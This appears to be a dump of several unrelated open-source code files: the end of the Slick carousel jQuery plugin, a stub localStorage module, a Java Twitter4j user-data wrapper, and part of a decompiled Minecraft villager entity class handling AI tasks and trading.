Slick.prototype.setSlideClasses = function(index) {
var _ = this,
centerOffset, allSlides, indexOffset, remainder;
allSlides = _.$slider
.find('.slick-slide')
.removeClass('slick-active slick-center slick-current')
.attr('aria-hidden', 'true');
_.$slides
.eq(index)
.addClass('slick-current');
if (_.options.centerMode === true) {
centerOffset = Math.floor(_.options.slidesToShow / 2);
if (_.options.infinite === true) {
if (index >= centerOffset && index <= (_.slideCount - 1) - centerOffset) {
_.$slides
.slice(index - centerOffset, index + centerOffset + 1)
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else {
indexOffset = _.options.slidesToShow + index;
allSlides
.slice(indexOffset - centerOffset + 1, indexOffset + centerOffset + 2)
.addClass('slick-active')
.attr('aria-hidden', 'false');
}
if (index === 0) {
allSlides
.eq(allSlides.length - 1 - _.options.slidesToShow)
.addClass('slick-center');
} else if (index === _.slideCount - 1) {
allSlides
.eq(_.options.slidesToShow)
.addClass('slick-center');
}
}
_.$slides
.eq(index)
.addClass('slick-center');
} else {
if (index >= 0 && index <= (_.slideCount - _.options.slidesToShow)) {
_.$slides
.slice(index, index + _.options.slidesToShow)
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else if (allSlides.length <= _.options.slidesToShow) {
allSlides
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else {
remainder = _.slideCount % _.options.slidesToShow;
indexOffset = _.options.infinite === true ? _.options.slidesToShow + index : index;
if (_.options.slidesToShow == _.options.slidesToScroll && (_.slideCount - index) < _.options.slidesToShow) {
allSlides
.slice(indexOffset - (_.options.slidesToShow - remainder), indexOffset + remainder)
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else {
allSlides
.slice(indexOffset, indexOffset + _.options.slidesToShow)
.addClass('slick-active')
.attr('aria-hidden', 'false');
}
}
}
if (_.options.lazyLoad === 'ondemand') {
_.lazyLoad();
}
};
Slick.prototype.setupInfinite = function() {
var _ = this,
i, slideIndex, infiniteCount;
if (_.options.fade === true) {
_.options.centerMode = false;
}
if (_.options.infinite === true && _.options.fade === false) {
slideIndex = null;
if (_.slideCount > _.options.slidesToShow) {
if (_.options.centerMode === true) {
infiniteCount = _.options.slidesToShow + 1;
} else {
infiniteCount = _.options.slidesToShow;
}
for (i = _.slideCount; i > (_.slideCount -
infiniteCount); i -= 1) {
slideIndex = i - 1;
$(_.$slides[slideIndex]).clone(true).attr('id', '')
.attr('data-slick-index', slideIndex - _.slideCount)
.prependTo(_.$slideTrack).addClass('slick-cloned');
}
for (i = 0; i < infiniteCount; i += 1) {
slideIndex = i;
$(_.$slides[slideIndex]).clone(true).attr('id', '')
.attr('data-slick-index', slideIndex + _.slideCount)
.appendTo(_.$slideTrack).addClass('slick-cloned');
}
_.$slideTrack.find('.slick-cloned').find('[id]').each(function() {
$(this).attr('id', '');
});
}
}
};
Slick.prototype.interrupt = function( toggle ) {
var _ = this;
if( !toggle ) {
_.autoPlay();
}
_.interrupted = toggle;
};
Slick.prototype.selectHandler = function(event) {
var _ = this;
var targetElement =
$(event.target).is('.slick-slide') ?
$(event.target) :
$(event.target).parents('.slick-slide');
var index = parseInt(targetElement.attr('data-slick-index'));
if (!index) index = 0;
if (_.slideCount <= _.options.slidesToShow) {
_.setSlideClasses(index);
_.asNavFor(index);
return;
}
_.slideHandler(index);
};
Slick.prototype.slideHandler = function(index, sync, dontAnimate) {
var targetSlide, animSlide, oldSlide, slideLeft, targetLeft = null,
_ = this, navTarget;
sync = sync || false;
if (_.animating === true && _.options.waitForAnimate === true) {
return;
}
if (_.options.fade === true && _.currentSlide === index) {
return;
}
if (_.slideCount <= _.options.slidesToShow) {
return;
}
if (sync === false) {
_.asNavFor(index);
}
targetSlide = index;
targetLeft = _.getLeft(targetSlide);
slideLeft = _.getLeft(_.currentSlide);
_.currentLeft = _.swipeLeft === null ? slideLeft : _.swipeLeft;
if (_.options.infinite === false && _.options.centerMode === false && (index < 0 || index > _.getDotCount() * _.options.slidesToScroll)) {
if (_.options.fade === false) {
targetSlide = _.currentSlide;
if (dontAnimate !== true) {
_.animateSlide(slideLeft, function() {
_.postSlide(targetSlide);
});
} else {
_.postSlide(targetSlide);
}
}
return;
} else if (_.options.infinite === false && _.options.centerMode === true && (index < 0 || index > (_.slideCount - _.options.slidesToScroll))) {
if (_.options.fade === false) {
targetSlide = _.currentSlide;
if (dontAnimate !== true) {
_.animateSlide(slideLeft, function() {
_.postSlide(targetSlide);
});
} else {
_.postSlide(targetSlide);
}
}
return;
}
if ( _.options.autoplay ) {
clearInterval(_.autoPlayTimer);
}
if (targetSlide < 0) {
if (_.slideCount % _.options.slidesToScroll !== 0) {
animSlide = _.slideCount - (_.slideCount % _.options.slidesToScroll);
} else {
animSlide = _.slideCount + targetSlide;
}
} else if (targetSlide >= _.slideCount) {
if (_.slideCount % _.options.slidesToScroll !== 0) {
animSlide = 0;
} else {
animSlide = targetSlide - _.slideCount;
}
} else {
animSlide = targetSlide;
}
_.animating = true;
_.$slider.trigger('beforeChange', [_, _.currentSlide, animSlide]);
oldSlide = _.currentSlide;
_.currentSlide = animSlide;
_.setSlideClasses(_.currentSlide);
if ( _.options.asNavFor ) {
navTarget = _.getNavTarget();
navTarget = navTarget.slick('getSlick');
if ( navTarget.slideCount <= navTarget.options.slidesToShow ) {
navTarget.setSlideClasses(_.currentSlide);
}
}
_.updateDots();
_.updateArrows();
if (_.options.fade === true) {
if (dontAnimate !== true) {
_.fadeSlideOut(oldSlide);
_.fadeSlide(animSlide, function() {
_.postSlide(animSlide);
});
} else {
_.postSlide(animSlide);
}
_.animateHeight();
return;
}
if (dontAnimate !== true) {
_.animateSlide(targetLeft, function() {
_.postSlide(animSlide);
});
} else {
_.postSlide(animSlide);
}
};
Slick.prototype.startLoad = function() {
var _ = this;
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow.hide();
_.$nextArrow.hide();
}
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
_.$dots.hide();
}
_.$slider.addClass('slick-loading');
};
Slick.prototype.swipeDirection = function() {
var xDist, yDist, r, swipeAngle, _ = this;
xDist = _.touchObject.startX - _.touchObject.curX;
yDist = _.touchObject.startY - _.touchObject.curY;
r = Math.atan2(yDist, xDist);
swipeAngle = Math.round(r * 180 / Math.PI);
if (swipeAngle < 0) {
swipeAngle = 360 - Math.abs(swipeAngle);
}
if ((swipeAngle <= 45) && (swipeAngle >= 0)) {
return (_.options.rtl === false ? 'left' : 'right');
}
if ((swipeAngle <= 360) && (swipeAngle >= 315)) {
return (_.options.rtl === false ? 'left' : 'right');
}
if ((swipeAngle >= 135) && (swipeAngle <= 225)) {
return (_.options.rtl === false ? 'right' : 'left');
}
if (_.options.verticalSwiping === true) {
if ((swipeAngle >= 35) && (swipeAngle <= 135)) {
return 'down';
} else {
return 'up';
}
}
return 'vertical';
};
Slick.prototype.swipeEnd = function(event) {
var _ = this,
slideCount,
direction;
_.dragging = false;
_.interrupted = false;
_.shouldClick = ( _.touchObject.swipeLength > 10 ) ? false : true;
if ( _.touchObject.curX === undefined ) {
return false;
}
if ( _.touchObject.edgeHit === true ) {
_.$slider.trigger('edge', [_, _.swipeDirection() ]);
}
if ( _.touchObject.swipeLength >= _.touchObject.minSwipe ) {
direction = _.swipeDirection();
switch ( direction ) {
case 'left':
case 'down':
slideCount =
_.options.swipeToSlide ?
_.checkNavigable( _.currentSlide + _.getSlideCount() ) :
_.currentSlide + _.getSlideCount();
_.currentDirection = 0;
break;
case 'right':
case 'up':
slideCount =
_.options.swipeToSlide ?
_.checkNavigable( _.currentSlide - _.getSlideCount() ) :
_.currentSlide - _.getSlideCount();
_.currentDirection = 1;
break;
default:
}
if( direction != 'vertical' ) {
_.slideHandler( slideCount );
_.touchObject = {};
_.$slider.trigger('swipe', [_, direction ]);
}
} else {
if ( _.touchObject.startX !== _.touchObject.curX ) {
_.slideHandler( _.currentSlide );
_.touchObject = {};
}
}
};
Slick.prototype.swipeHandler = function(event) {
var _ = this;
if ((_.options.swipe === false) || ('ontouchend' in document && _.options.swipe === false)) {
return;
} else if (_.options.draggable === false && event.type.indexOf('mouse') !== -1) {
return;
}
_.touchObject.fingerCount = event.originalEvent && event.originalEvent.touches !== undefined ?
event.originalEvent.touches.length : 1;
_.touchObject.minSwipe = _.listWidth / _.options
.touchThreshold;
if (_.options.verticalSwiping === true) {
_.touchObject.minSwipe = _.listHeight / _.options
.touchThreshold;
}
switch (event.data.action) {
case 'start':
_.swipeStart(event);
break;
case 'move':
_.swipeMove(event);
break;
case 'end':
_.swipeEnd(event);
break;
}
};
Slick.prototype.swipeMove = function(event) {
var _ = this,
edgeWasHit = false,
curLeft, swipeDirection, swipeLength, positionOffset, touches;
touches = event.originalEvent !== undefined ? event.originalEvent.touches : null;
if (!_.dragging || touches && touches.length !== 1) {
return false;
}
curLeft = _.getLeft(_.currentSlide);
_.touchObject.curX = touches !== undefined ? touches[0].pageX : event.clientX;
_.touchObject.curY = touches !== undefined ? touches[0].pageY : event.clientY;
_.touchObject.swipeLength = Math.round(Math.sqrt(
Math.pow(_.touchObject.curX - _.touchObject.startX, 2)));
if (_.options.verticalSwiping === true) {
_.touchObject.swipeLength = Math.round(Math.sqrt(
Math.pow(_.touchObject.curY - _.touchObject.startY, 2)));
}
swipeDirection = _.swipeDirection();
if (swipeDirection === 'vertical') {
return;
}
if (event.originalEvent !== undefined && _.touchObject.swipeLength > 4) {
event.preventDefault();
}
positionOffset = (_.options.rtl === false ? 1 : -1) * (_.touchObject.curX > _.touchObject.startX ? 1 : -1);
if (_.options.verticalSwiping === true) {
positionOffset = _.touchObject.curY > _.touchObject.startY ? 1 : -1;
}
swipeLength = _.touchObject.swipeLength;
_.touchObject.edgeHit = false;
if (_.options.infinite === false) {
if ((_.currentSlide === 0 && swipeDirection === 'right') || (_.currentSlide >= _.getDotCount() && swipeDirection === 'left')) {
swipeLength = _.touchObject.swipeLength * _.options.edgeFriction;
_.touchObject.edgeHit = true;
}
}
if (_.options.vertical === false) {
_.swipeLeft = curLeft + swipeLength * positionOffset;
} else {
_.swipeLeft = curLeft + (swipeLength * (_.$list.height() / _.listWidth)) * positionOffset;
}
if (_.options.verticalSwiping === true) {
_.swipeLeft = curLeft + swipeLength * positionOffset;
}
if (_.options.fade === true || _.options.touchMove === false) {
return false;
}
if (_.animating === true) {
_.swipeLeft = null;
return false;
}
_.setCSS(_.swipeLeft);
};
Slick.prototype.swipeStart = function(event) {
var _ = this,
touches;
_.interrupted = true;
if (_.touchObject.fingerCount !== 1 || _.slideCount <= _.options.slidesToShow) {
_.touchObject = {};
return false;
}
if (event.originalEvent !== undefined && event.originalEvent.touches !== undefined) {
touches = event.originalEvent.touches[0];
}
_.touchObject.startX = _.touchObject.curX = touches !== undefined ? touches.pageX : event.clientX;
_.touchObject.startY = _.touchObject.curY = touches !== undefined ? touches.pageY : event.clientY;
_.dragging = true;
};
Slick.prototype.unfilterSlides = Slick.prototype.slickUnfilter = function() {
var _ = this;
if (_.$slidesCache !== null) {
_.unload();
_.$slideTrack.children(this.options.slide).detach();
_.$slidesCache.appendTo(_.$slideTrack);
_.reinit();
}
};
Slick.prototype.unload = function() {
var _ = this;
$('.slick-cloned', _.$slider).remove();
if (_.$dots) {
_.$dots.remove();
}
if (_.$prevArrow && _.htmlExpr.test(_.options.prevArrow)) {
_.$prevArrow.remove();
}
if (_.$nextArrow && _.htmlExpr.test(_.options.nextArrow)) {
_.$nextArrow.remove();
}
_.$slides
.removeClass('slick-slide slick-active slick-visible slick-current')
.attr('aria-hidden', 'true')
.css('width', '');
};
Slick.prototype.unslick = function(fromBreakpoint) {
var _ = this;
_.$slider.trigger('unslick', [_, fromBreakpoint]);
_.destroy();
};
Slick.prototype.updateArrows = function() {
var _ = this,
centerOffset;
centerOffset = Math.floor(_.options.slidesToShow / 2);
if ( _.options.arrows === true &&
_.slideCount > _.options.slidesToShow &&
!_.options.infinite ) {
_.$prevArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
_.$nextArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
if (_.currentSlide === 0) {
_.$prevArrow.addClass('slick-disabled').attr('aria-disabled', 'true');
_.$nextArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
} else if (_.currentSlide >= _.slideCount - _.options.slidesToShow && _.options.centerMode === false) {
_.$nextArrow.addClass('slick-disabled').attr('aria-disabled', 'true');
_.$prevArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
} else if (_.currentSlide >= _.slideCount - 1 && _.options.centerMode === true) {
_.$nextArrow.addClass('slick-disabled').attr('aria-disabled', 'true');
_.$prevArrow.removeClass('slick-disabled').attr('aria-disabled', 'false');
}
}
};
Slick.prototype.updateDots = function() {
var _ = this;
if (_.$dots !== null) {
_.$dots
.find('li')
.removeClass('slick-active')
.attr('aria-hidden', 'true');
_.$dots
.find('li')
.eq(Math.floor(_.currentSlide / _.options.slidesToScroll))
.addClass('slick-active')
.attr('aria-hidden', 'false');
}
};
Slick.prototype.visibility = function() {
var _ = this;
if ( _.options.autoplay ) {
if ( document[_.hidden] ) {
_.interrupted = true;
} else {
_.interrupted = false;
}
}
};
$.fn.slick = function() {
var _ = this,
opt = arguments[0],
args = Array.prototype.slice.call(arguments, 1),
l = _.length,
i,
ret;
for (i = 0; i < l; i++) {
if (typeof opt == 'object' || typeof opt == 'undefined')
_[i].slick = new Slick(_[i], opt);
else
ret = _[i].slick[opt].apply(_[i].slick, args);
if (typeof ret != 'undefined') return ret;
}
return _;
};
}));
| gpl-3.0 |
omeryagmurlu/algoriv | webpack/fake_modules/browser-localstorage.js | 92 | export function LocalStorage() {
return localStorage;
}
export const isFakeModule = true;
| gpl-3.0 |
rmachedo/MEater | src/edu/umd/rhsmith/diads/meater/modules/tweater/media/DefaultUserData.java | 1349 | package edu.umd.rhsmith.diads.meater.modules.tweater.media;
import java.util.Date;
import twitter4j.User;
public class DefaultUserData implements UserData {
private final User user;
public DefaultUserData(User user) {
this.user = user;
}
@Override
public long getUserId() {
return this.user.getId();
}
@Override
public String getUserName() {
return this.user.getName();
}
@Override
public String getUserScreenName() {
return this.user.getScreenName();
}
@Override
public String getUserLanguage() {
return this.user.getLang();
}
@Override
public Date getUserCreatedAt() {
return this.user.getCreatedAt();
}
@Override
public String getUserDescription() {
return this.user.getDescription();
}
@Override
public String getUserLocation() {
return this.user.getLocation();
}
@Override
public int getUserUtcOffset() {
return this.user.getUtcOffset();
}
@Override
public boolean isUserVerified() {
return this.user.isVerified();
}
@Override
public int getUserFollowersCount() {
return this.user.getFollowersCount();
}
@Override
public int getUserFriendsCount() {
return this.user.getFriendsCount();
}
@Override
public int getUserStatusesCount() {
return this.user.getStatusesCount();
}
@Override
public int getUserListedCount() {
return this.user.getListedCount();
}
}
| gpl-3.0 |
TheHecticByte/BananaJ1.7.10Beta | src/net/minecraft/Server1_7_10/entity/passive/EntityVillager.java | 33528 | package net.minecraft.Server1_7_10.entity.passive;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Random;
import net.minecraft.Server1_7_10.enchantment.Enchantment;
import net.minecraft.Server1_7_10.enchantment.EnchantmentData;
import net.minecraft.Server1_7_10.enchantment.EnchantmentHelper;
import net.minecraft.Server1_7_10.entity.Entity;
import net.minecraft.Server1_7_10.entity.EntityAgeable;
import net.minecraft.Server1_7_10.entity.EntityLiving;
import net.minecraft.Server1_7_10.entity.EntityLivingBase;
import net.minecraft.Server1_7_10.entity.IEntityLivingData;
import net.minecraft.Server1_7_10.entity.IMerchant;
import net.minecraft.Server1_7_10.entity.INpc;
import net.minecraft.Server1_7_10.entity.SharedMonsterAttributes;
import net.minecraft.Server1_7_10.entity.ai.EntityAIAvoidEntity;
import net.minecraft.Server1_7_10.entity.ai.EntityAIFollowGolem;
import net.minecraft.Server1_7_10.entity.ai.EntityAILookAtTradePlayer;
import net.minecraft.Server1_7_10.entity.ai.EntityAIMoveIndoors;
import net.minecraft.Server1_7_10.entity.ai.EntityAIMoveTowardsRestriction;
import net.minecraft.Server1_7_10.entity.ai.EntityAIOpenDoor;
import net.minecraft.Server1_7_10.entity.ai.EntityAIPlay;
import net.minecraft.Server1_7_10.entity.ai.EntityAIRestrictOpenDoor;
import net.minecraft.Server1_7_10.entity.ai.EntityAISwimming;
import net.minecraft.Server1_7_10.entity.ai.EntityAITradePlayer;
import net.minecraft.Server1_7_10.entity.ai.EntityAIVillagerMate;
import net.minecraft.Server1_7_10.entity.ai.EntityAIWander;
import net.minecraft.Server1_7_10.entity.ai.EntityAIWatchClosest;
import net.minecraft.Server1_7_10.entity.ai.EntityAIWatchClosest2;
import net.minecraft.Server1_7_10.entity.monster.EntityZombie;
import net.minecraft.Server1_7_10.entity.monster.IMob;
import net.minecraft.Server1_7_10.entity.player.EntityPlayer;
import net.minecraft.Server1_7_10.init.Blocks;
import net.minecraft.Server1_7_10.init.Items;
import net.minecraft.Server1_7_10.item.Item;
import net.minecraft.Server1_7_10.item.ItemStack;
import net.minecraft.Server1_7_10.nbt.NBTTagCompound;
import net.minecraft.Server1_7_10.potion.Potion;
import net.minecraft.Server1_7_10.potion.PotionEffect;
import net.minecraft.Server1_7_10.util.ChunkCoordinates;
import net.minecraft.Server1_7_10.util.DamageSource;
import net.minecraft.Server1_7_10.util.MathHelper;
import net.minecraft.Server1_7_10.util.Tuple;
import net.minecraft.Server1_7_10.village.MerchantRecipe;
import net.minecraft.Server1_7_10.village.MerchantRecipeList;
import net.minecraft.Server1_7_10.village.Village;
import net.minecraft.Server1_7_10.world.World;
public class EntityVillager extends EntityAgeable implements IMerchant, INpc
{
private int randomTickDivider;
private boolean isMating;
private boolean isPlaying;
Village villageObj;
/** This villager's current customer. */
private EntityPlayer buyingPlayer;
/** Initialises the MerchantRecipeList.java */
private MerchantRecipeList buyingList;
private int timeUntilReset;
/** addDefaultEquipmentAndRecipies is called if this is true */
private boolean needsInitilization;
private int wealth;
/** Last player to trade with this villager, used for aggressivity. */
private String lastBuyingPlayer;
private boolean isLookingForHome;
private float field_82191_bN;
/** Selling list of Villagers items. */
private static final Map villagersSellingList = new HashMap();
/** Selling list of Blacksmith items. */
private static final Map blacksmithSellingList = new HashMap();
private static final String __OBFID = "CL_00001707";
public EntityVillager(World p_i1747_1_)
{
this(p_i1747_1_, 0);
}
public EntityVillager(World p_i1748_1_, int p_i1748_2_)
{
super(p_i1748_1_);
this.setProfession(p_i1748_2_);
this.setSize(0.6F, 1.8F);
this.getNavigator().setBreakDoors(true);
this.getNavigator().setAvoidsWater(true);
this.tasks.addTask(0, new EntityAISwimming(this));
this.tasks.addTask(1, new EntityAIAvoidEntity(this, EntityZombie.class, 8.0F, 0.6D, 0.6D));
this.tasks.addTask(1, new EntityAITradePlayer(this));
this.tasks.addTask(1, new EntityAILookAtTradePlayer(this));
this.tasks.addTask(2, new EntityAIMoveIndoors(this));
this.tasks.addTask(3, new EntityAIRestrictOpenDoor(this));
this.tasks.addTask(4, new EntityAIOpenDoor(this, true));
this.tasks.addTask(5, new EntityAIMoveTowardsRestriction(this, 0.6D));
this.tasks.addTask(6, new EntityAIVillagerMate(this));
this.tasks.addTask(7, new EntityAIFollowGolem(this));
this.tasks.addTask(8, new EntityAIPlay(this, 0.32D));
this.tasks.addTask(9, new EntityAIWatchClosest2(this, EntityPlayer.class, 3.0F, 1.0F));
this.tasks.addTask(9, new EntityAIWatchClosest2(this, EntityVillager.class, 5.0F, 0.02F));
this.tasks.addTask(9, new EntityAIWander(this, 0.6D));
this.tasks.addTask(10, new EntityAIWatchClosest(this, EntityLiving.class, 8.0F));
}
protected void applyEntityAttributes()
{
super.applyEntityAttributes();
this.getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.5D);
}
/**
* Returns true if the newer Entity AI code should be run
*/
public boolean isAIEnabled()
{
return true;
}
/**
* main AI tick function, replaces updateEntityActionState
*/
protected void updateAITick()
{
if (--this.randomTickDivider <= 0)
{
this.worldObj.villageCollectionObj.addVillagerPosition(MathHelper.floor_double(this.posX), MathHelper.floor_double(this.posY), MathHelper.floor_double(this.posZ));
this.randomTickDivider = 70 + this.rand.nextInt(50);
this.villageObj = this.worldObj.villageCollectionObj.findNearestVillage(MathHelper.floor_double(this.posX), MathHelper.floor_double(this.posY), MathHelper.floor_double(this.posZ), 32);
if (this.villageObj == null)
{
this.detachHome();
}
else
{
ChunkCoordinates var1 = this.villageObj.getCenter();
this.setHomeArea(var1.posX, var1.posY, var1.posZ, (int)((float)this.villageObj.getVillageRadius() * 0.6F));
if (this.isLookingForHome)
{
this.isLookingForHome = false;
this.villageObj.func_82683_b(5);
}
}
}
if (!this.isTrading() && this.timeUntilReset > 0)
{
--this.timeUntilReset;
if (this.timeUntilReset <= 0)
{
if (this.needsInitilization)
{
if (this.buyingList.size() > 1)
{
Iterator var3 = this.buyingList.iterator();
while (var3.hasNext())
{
MerchantRecipe var2 = (MerchantRecipe)var3.next();
if (var2.func_82784_g())
{
var2.func_82783_a(this.rand.nextInt(6) + this.rand.nextInt(6) + 2);
}
}
}
this.addDefaultEquipmentAndRecipies(1);
this.needsInitilization = false;
if (this.villageObj != null && this.lastBuyingPlayer != null)
{
this.worldObj.setEntityState(this, (byte)14);
this.villageObj.setReputationForPlayer(this.lastBuyingPlayer, 1);
}
}
this.addPotionEffect(new PotionEffect(Potion.regeneration.id, 200, 0));
}
}
super.updateAITick();
}
/**
* Called when a player interacts with a mob. e.g. gets milk from a cow, gets into the saddle on a pig.
*/
public boolean interact(EntityPlayer p_70085_1_)
{
ItemStack var2 = p_70085_1_.inventory.getCurrentItem();
boolean var3 = var2 != null && var2.getItem() == Items.spawn_egg;
if (!var3 && this.isEntityAlive() && !this.isTrading() && !this.isChild())
{
if (!this.worldObj.isClient)
{
this.setCustomer(p_70085_1_);
p_70085_1_.displayGUIMerchant(this, this.getCustomNameTag());
}
return true;
}
else
{
return super.interact(p_70085_1_);
}
}
protected void entityInit()
{
super.entityInit();
this.dataWatcher.addObject(16, Integer.valueOf(0));
}
/**
* (abstract) Protected helper method to write subclass entity data to NBT.
*/
public void writeEntityToNBT(NBTTagCompound p_70014_1_)
{
super.writeEntityToNBT(p_70014_1_);
p_70014_1_.setInteger("Profession", this.getProfession());
p_70014_1_.setInteger("Riches", this.wealth);
if (this.buyingList != null)
{
p_70014_1_.setTag("Offers", this.buyingList.getRecipiesAsTags());
}
}
/**
* (abstract) Protected helper method to read subclass entity data from NBT.
*/
public void readEntityFromNBT(NBTTagCompound p_70037_1_)
{
super.readEntityFromNBT(p_70037_1_);
this.setProfession(p_70037_1_.getInteger("Profession"));
this.wealth = p_70037_1_.getInteger("Riches");
if (p_70037_1_.func_150297_b("Offers", 10))
{
NBTTagCompound var2 = p_70037_1_.getCompoundTag("Offers");
this.buyingList = new MerchantRecipeList(var2);
}
}
/**
* Determines if an entity can be despawned, used on idle far away entities
*/
protected boolean canDespawn()
{
return false;
}
/**
* Returns the sound this mob makes while it's alive.
*/
protected String getLivingSound()
{
return this.isTrading() ? "mob.villager.haggle" : "mob.villager.idle";
}
/**
* Returns the sound this mob makes when it is hurt.
*/
protected String getHurtSound()
{
return "mob.villager.hit";
}
/**
* Returns the sound this mob makes on death.
*/
protected String getDeathSound()
{
return "mob.villager.death";
}
public void setProfession(int p_70938_1_)
{
this.dataWatcher.updateObject(16, Integer.valueOf(p_70938_1_));
}
public int getProfession()
{
return this.dataWatcher.getWatchableObjectInt(16);
}
public boolean isMating()
{
return this.isMating;
}
public void setMating(boolean p_70947_1_)
{
this.isMating = p_70947_1_;
}
public void setPlaying(boolean p_70939_1_)
{
this.isPlaying = p_70939_1_;
}
public boolean isPlaying()
{
return this.isPlaying;
}
public void setRevengeTarget(EntityLivingBase p_70604_1_)
{
super.setRevengeTarget(p_70604_1_);
if (this.villageObj != null && p_70604_1_ != null)
{
this.villageObj.addOrRenewAgressor(p_70604_1_);
if (p_70604_1_ instanceof EntityPlayer)
{
byte var2 = -1;
if (this.isChild())
{
var2 = -3;
}
this.villageObj.setReputationForPlayer(p_70604_1_.getCommandSenderName(), var2);
if (this.isEntityAlive())
{
this.worldObj.setEntityState(this, (byte)13);
}
}
}
}
/**
* Called when the mob's health reaches 0.
*/
public void onDeath(DamageSource p_70645_1_)
{
if (this.villageObj != null)
{
Entity var2 = p_70645_1_.getEntity();
if (var2 != null)
{
if (var2 instanceof EntityPlayer)
{
this.villageObj.setReputationForPlayer(var2.getCommandSenderName(), -2);
}
else if (var2 instanceof IMob)
{
this.villageObj.endMatingSeason();
}
}
else if (var2 == null)
{
EntityPlayer var3 = this.worldObj.getClosestPlayerToEntity(this, 16.0D);
if (var3 != null)
{
this.villageObj.endMatingSeason();
}
}
}
super.onDeath(p_70645_1_);
}
public void setCustomer(EntityPlayer p_70932_1_)
{
this.buyingPlayer = p_70932_1_;
}
public EntityPlayer getCustomer()
{
return this.buyingPlayer;
}
public boolean isTrading()
{
return this.buyingPlayer != null;
}
public void useRecipe(MerchantRecipe p_70933_1_)
{
p_70933_1_.incrementToolUses();
this.livingSoundTime = -this.getTalkInterval();
this.playSound("mob.villager.yes", this.getSoundVolume(), this.getSoundPitch());
if (p_70933_1_.hasSameIDsAs((MerchantRecipe)this.buyingList.get(this.buyingList.size() - 1)))
{
this.timeUntilReset = 40;
this.needsInitilization = true;
if (this.buyingPlayer != null)
{
this.lastBuyingPlayer = this.buyingPlayer.getCommandSenderName();
}
else
{
this.lastBuyingPlayer = null;
}
}
if (p_70933_1_.getItemToBuy().getItem() == Items.emerald)
{
this.wealth += p_70933_1_.getItemToBuy().stackSize;
}
}
public void func_110297_a_(ItemStack p_110297_1_)
{
if (!this.worldObj.isClient && this.livingSoundTime > -this.getTalkInterval() + 20)
{
this.livingSoundTime = -this.getTalkInterval();
if (p_110297_1_ != null)
{
this.playSound("mob.villager.yes", this.getSoundVolume(), this.getSoundPitch());
}
else
{
this.playSound("mob.villager.no", this.getSoundVolume(), this.getSoundPitch());
}
}
}
public MerchantRecipeList getRecipes(EntityPlayer p_70934_1_)
{
if (this.buyingList == null)
{
this.addDefaultEquipmentAndRecipies(1);
}
return this.buyingList;
}
/**
* Adjusts the probability of obtaining a given recipe being offered by a villager
*/
private float adjustProbability(float p_82188_1_)
{
float var2 = p_82188_1_ + this.field_82191_bN;
return var2 > 0.9F ? 0.9F - (var2 - 0.9F) : var2;
}
/**
* based on the villagers profession add items, equipment, and recipies adds par1 random items to the list of things
* that the villager wants to buy. (at most 1 of each wanted type is added)
*/
private void addDefaultEquipmentAndRecipies(int p_70950_1_)
{
if (this.buyingList != null)
{
this.field_82191_bN = MathHelper.sqrt_float((float)this.buyingList.size()) * 0.2F;
}
else
{
this.field_82191_bN = 0.0F;
}
MerchantRecipeList var2;
var2 = new MerchantRecipeList();
int var6;
label50:
switch (this.getProfession())
{
case 0:
func_146091_a(var2, Items.wheat, this.rand, this.adjustProbability(0.9F));
func_146091_a(var2, Item.getItemFromBlock(Blocks.wool), this.rand, this.adjustProbability(0.5F));
func_146091_a(var2, Items.chicken, this.rand, this.adjustProbability(0.5F));
func_146091_a(var2, Items.cooked_fished, this.rand, this.adjustProbability(0.4F));
func_146089_b(var2, Items.bread, this.rand, this.adjustProbability(0.9F));
func_146089_b(var2, Items.melon, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.apple, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.cookie, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.shears, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.flint_and_steel, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.cooked_chicken, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.arrow, this.rand, this.adjustProbability(0.5F));
if (this.rand.nextFloat() < this.adjustProbability(0.5F))
{
var2.add(new MerchantRecipe(new ItemStack(Blocks.gravel, 10), new ItemStack(Items.emerald), new ItemStack(Items.flint, 4 + this.rand.nextInt(2), 0)));
}
break;
case 1:
func_146091_a(var2, Items.paper, this.rand, this.adjustProbability(0.8F));
func_146091_a(var2, Items.book, this.rand, this.adjustProbability(0.8F));
func_146091_a(var2, Items.written_book, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Item.getItemFromBlock(Blocks.bookshelf), this.rand, this.adjustProbability(0.8F));
func_146089_b(var2, Item.getItemFromBlock(Blocks.glass), this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.compass, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.clock, this.rand, this.adjustProbability(0.2F));
if (this.rand.nextFloat() < this.adjustProbability(0.07F))
{
Enchantment var8 = Enchantment.enchantmentsBookList[this.rand.nextInt(Enchantment.enchantmentsBookList.length)];
int var10 = MathHelper.getRandomIntegerInRange(this.rand, var8.getMinLevel(), var8.getMaxLevel());
ItemStack var11 = Items.enchanted_book.getEnchantedItemStack(new EnchantmentData(var8, var10));
var6 = 2 + this.rand.nextInt(5 + var10 * 10) + 3 * var10;
var2.add(new MerchantRecipe(new ItemStack(Items.book), new ItemStack(Items.emerald, var6), var11));
}
break;
case 2:
func_146089_b(var2, Items.ender_eye, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.experience_bottle, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.redstone, this.rand, this.adjustProbability(0.4F));
func_146089_b(var2, Item.getItemFromBlock(Blocks.glowstone), this.rand, this.adjustProbability(0.3F));
Item[] var3 = new Item[] {Items.iron_sword, Items.diamond_sword, Items.iron_chestplate, Items.diamond_chestplate, Items.iron_axe, Items.diamond_axe, Items.iron_pickaxe, Items.diamond_pickaxe};
Item[] var4 = var3;
int var5 = var3.length;
var6 = 0;
